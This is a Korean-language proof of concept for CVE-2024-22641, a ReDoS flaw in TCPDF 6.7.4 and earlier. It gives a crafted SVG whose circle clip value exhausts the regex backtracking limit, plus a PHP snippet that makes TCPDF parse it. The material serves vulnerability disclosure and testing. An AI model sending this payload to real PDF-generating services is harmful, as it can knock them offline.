
CVE-2024-22641에 대한 개념 증명: TCPDF <=6.7.4에서 조작된 SVG 파일에 의해 트리거되는 ReDoS 취약점으로, 정규 표현식 역추적 한도 소진을 시연합니다.
정규 표현식 서비스 거부 (ReDoS)
TCPDF <= 6.7.4
TCPDF가 조작된 페이로드를 포함한 SVG 파일을 파싱합니다.
TCPDF 버전 6.7.4 이하는 신뢰할 수 없는 SVG 파일을 파싱할 때 ReDoS(정규 표현식 서비스 거부)에 취약합니다.
<!--poc.svg-->
<svg
version="1.1"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<circle clip="rect(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!)"/>
</svg>
<?php
require_once('../tcpdf.php');
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// add a page
$pdf->AddPage();
$pdf->ImageSVG($file='poc.svg');
?>
참고: 취약한 코드 라인 이후에 **preg_last_error()**로 검사하면 정규식이 PREG_BACKTRACK_LIMIT_ERROR로 종료됩니다.